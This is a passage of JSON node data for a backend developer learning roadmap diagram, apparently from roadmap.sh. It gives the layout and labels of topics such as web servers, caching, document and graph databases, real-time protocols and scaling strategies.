\"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jHzW3C8W4K0B-APmq20sQ\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 128.7546339304921,\n        \"y\": 2314.3657241605956\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 190,\n      \"height\": 49,\n      \"id\": \"nJ5FpFgGCRaALcWmAKBKT\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 113.18643733008196,\n        \"y\": 2201.0843142738127\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Message Brokers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ztkOqlGQWIilnsSAw0il9\"\n      },\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 113.18643733008196,\n        \"y\": 2201.0843142738127\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 134,\n      \"height\": 49,\n      \"id\": \"31ZlpfIPr9-5vYZqvjUeL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -303.00167076442347,\n        \"y\": 1992.3567455783482\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"LXC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SoLgdE9kMRb5TOPmiFNTg\"\n      },\n      \"style\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -303.00167076442347,\n        \"y\": 1992.3567455783482\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 318,\n      \"height\": 49,\n      \"id\": \"SGVwJme-jT_pbOTvems0v\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -288.08230823147517,\n        \"y\": 2077.084957691443\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Containerization vs Virtualization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xC2dMtwvHtn7bvkjoILGC\"\n      },\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -288.08230823147517,\n        \"y\": 2077.084957691443\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 194,\n      \"height\": 49,\n      \"id\": \"sVuIdAe08IWJVqAt4z-ag\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.75932826122437,\n        \"y\": 2478.952124569852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"WebSockets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AdD_qP2zWpDRF7fye4BAf\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 108.75932826122437,\n        \"y\": 2478.952124569852\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 194,\n      \"height\": 49,\n      \"id\": \"RUSdlokJUcEYbCvq5FJBJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 108.75932826122437,\n        \"y\": 2425.952124569852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Server Sent Events\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nCUR4HAGITzZGQ9Ur-lwF\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 108.75932826122437,\n        \"y\": 2425.952124569852\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 104,\n      \"height\": 49,\n      \"id\": \"z5AdThp9ByulmM9uekgm-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -651.0827765085687,\n        \"y\": 2150.658992209215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Nginx\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EszP1HTjYUcKJlODbvIlQ\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -651.0827765085687,\n        \"y\": 2150.658992209215\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 104,\n      \"height\": 49,\n      \"id\": \"Op-PSPNoyj6Ss9CS09AXh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -651.0827765085687,\n        \"y\": 2256.658992209215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Caddy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GWX9hx7Zi-hJEuQl_smnD\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -651.0827765085687,\n        \"y\": 2256.658992209215\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 104,\n      \"height\": 49,\n      \"id\": \"jjjonHTHHo-NiAf6p9xPv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -651.0827765085687,\n        \"y\": 2203.658992209215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Apache\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OV10LPpeU9WkCnLB2nbjh\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -651.0827765085687,\n        \"y\": 2203.658992209215\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 104,\n      \"height\": 49,\n      \"id\": \"0NJDgfe6eMa7qPUOI6Eya\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -651.0827765085687,\n        \"y\": 2309.658992209215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MS IIS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"th-s4CCGHamJSHHWbRbtF\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -651.0827765085687,\n        \"y\": 2309.658992209215\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 189,\n      \"height\": 49,\n      \"id\": \"fekyMpEnaGqjh1Cu4Nyc4\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -434.321810236714,\n        \"y\": 2201.9516809090464\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Web Servers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RPxWYpvCIOvqxJSZXvbrg\"\n      },\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -434.321810236714,\n        \"y\": 2201.9516809090464\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 202,\n      \"height\": 49,\n      \"id\": \"SHmbcMRsc3SygEDksJQBD\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -201.28187187824832,\n        \"y\": 3031.464403993429\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Building For Scale\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lk9FVM9b-vD6HrCgdMts5\"\n      },\n      \"style\": {\n        \"width\": 202,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -201.28187187824832,\n        \"y\": 3031.464403993429\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 124,\n      \"height\": 49,\n      \"id\": \"g8GjkJAhvnSxXTZks0V1g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -680.1226089739991,\n        \"y\": 596.4744060549924\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Redis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xPvVwGQw28uMeLYIWn8yn\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -680.1226089739991,\n        \"y\": 596.4744060549924\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 124,\n      \"height\": 49,\n      \"id\": \"xPvVwGQw28uMeLYIWn8yn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -680.1226089739991,\n        \"y\": 650.4744060549924\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Memcached\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DfDS2g4vh52wUPGJN3mfV\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -680.1226089739991,\n        \"y\": 650.4744060549924\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 157,\n      \"height\": 174,\n      \"id\": \"UxAr1obi4rfJnohRmi9I0\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -645.9684044316078,\n        \"y\": 2425.297762402509\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Document DBs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        }\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 174\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -645.9684044316078,\n        \"y\": 2425.297762402509\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 174\n      }\n    },\n    {\n      \"width\": 137,\n      \"height\": 49,\n      \"id\": \"28U6q_X-NTYf7OSKHjoWH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -635.959639996006,\n        \"y\": 2485.0475499249083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MongoDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Xv09yYM-kt_kMbFWL7PCP\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -635.959639996006,\n        \"y\": 2485.0475499249083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 137,\n      \"height\": 49,\n      \"id\": \"qOlNzZ7U8LhIGukb67n7U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -635.959639996006,\n        \"y\": 2538.0475499249083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CouchDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"28U6q_X-NTYf7OSKHjoWH\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -635.959639996006,\n        \"y\": 2538.0475499249083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 184,\n      \"height\": 174,\n      \"id\": \"lz1qUvdtuZ5_MUBDw2M7B\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -338.143218506084,\n        \"y\": 2768.94005446043\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Graph DBs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"k2WQa0jCcj_F0rY7C4I4w\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 174\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -338.143218506084,\n        \"y\": 2768.94005446043\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 174\n      }\n    },\n    {\n      \"width\": 154,\n      \"height\": 49,\n      \"id\": \"BTNJfWemFKEeNeTyENXui\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -323.1468377513407,\n        \"y\": 2822.4093549128625\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Neo4j\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zIP4lygeKaH1P-VYRMpdU\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -323.1468377513407,\n        \"y\": 2822.4093549128625\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 321,\n      \"height\": 49,\n      \"id\": \"ruK1Bf7XVIgOHguNFxYlY\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -289.58230823147517,\n        \"y\": 1664.0927318659378\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Software Design & Architecture\",\n        \"href\": \"https://roadmap.sh/software-design-architecture\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136d4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"sSG9zK0ZGTBSk-nFIOq8A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -289.58230823147517,\n        \"y\": 1664.0927318659378\n      },\n      \"style\": {\n        \"width\": 321,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 321,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 249,\n      \"height\": 304,\n      \"id\": \"SqTnY2zykzA6857nHHwG2\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 57.030089179073684,\n        \"y\": 2721.2437984566805\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mitigation Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-end\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"y4gMzo3mPn7_uGkuDkOqM\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 304\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 57.030089179073684,\n        \"y\": 2721.2437984566805\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 304\n      }\n    },\n    {\n      \"width\": 221,\n      \"height\": 42,\n      \"id\": \"G9AI_i3MkUE1BsO3_-PH7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 71.03008917907368,\n        \"y\": 2734.694834049315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Graceful Degradation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Xv09yYM-kt_kMbFWL7PCP\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 221,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 71.03008917907368,\n        \"y\": 2734.694834049315\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 221,\n      \"height\": 42,\n      \"id\": \"qAu-Y4KI2Z_y-EqiG86cR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 71.03008917907368,\n        \"y\": 2781.694834049315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Throttling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8IeJ7ktBmXW9hH7NRzbzm\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 221,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 71.03008917907368,\n        \"y\": 2781.694834049315\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 221,\n      \"height\": 42,\n      \"id\": \"JansCqGDyXecQkD1K7E7e\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 71.03008917907368,\n        \"y\": 2828.694834049315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backpressure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WdGqs2CLc2cDPEjzEPoFj\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 221,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 71.03008917907368,\n        \"y\": 2828.694834049315\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 221,\n      \"height\": 42,\n      \"id\": \"HoQdX7a4SnkFRU4RPQ-D5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 71.03008917907368,\n        \"y\": 2875.694834049315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Loadshifting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KWAhsjFJilEvMka5KXzY2\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 221,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 71.03008917907368,\n        \"y\": 2875.694834049315\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 221,\n      \"height\": 42,\n      \"id\": \"spkiQTPvXY4qrhhVUkoPV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 71.03008917907368,\n        \"y\": 2922.694834049315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Circuit Breaker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IQ1VmqKR6MzNOM_HrJMn_\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 221,\n        \"height\": 42\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 71.03008917907368,\n        \"y\": 2922.694834049315\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 42\n      }\n    },\n    {\n      \"width\": 249,\n      \"height\": 49,\n      \"id\": \"f7iWBkC0X7yyCoP_YubVd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.030089179073684,\n        \"y\": 3031.464403993429\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Migration Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8IH45wy4nlKOmoXusIki3\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 57.030089179073684,\n        \"y\": 3031.464403993429\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 249,\n      \"height\": 49,\n      \"id\": \"osQlGGy38xMcKLtgZtWaZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 57.030089179073684,\n        \"y\": 3084.464403993429\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Types of Scaling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"16vCgVCVKx2T6PgR6eJxo\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 57.030089179073684,\n        \"y\": 3084.464403993429\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 249,\n      \"height\": 219,\n      \"id\": \"UovGtIjo7OYEsaV6xJcpE\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 57.030089179073684,\n        \"y\": 3142.2933641683235\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Metrics logging and other observable items that can help in debugging and solving Issues when things go wrong.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"BLACk\"\n        },\n        \"oldId\": \"keWHcMLFJHVPCGq1Mh1pJ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 57.030089179073684,\n        \"y\": 3142.2933641683235\n      },\n      \"style\": {\n        \"width\": 249,\n        \"height\": 219\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 219\n      }\n    },\n    {\n      \"width\": 249,\n      \"height\": 232,\n      \"id\": \"Uhj-lrUhQQnwOdn_e6_hd\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -224.78187187824832,\n        \"y\": 3129.5545263361823\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Difference & Usage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"SqTnY2zykzA6857nHHwG2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 232\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -224.78187187824832,\n        \"y\": 3129.5545263361823\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 232\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 49,\n      \"id\": \"4X-sbqpP0NDhM99bKdqIa\",\n      \"type\": 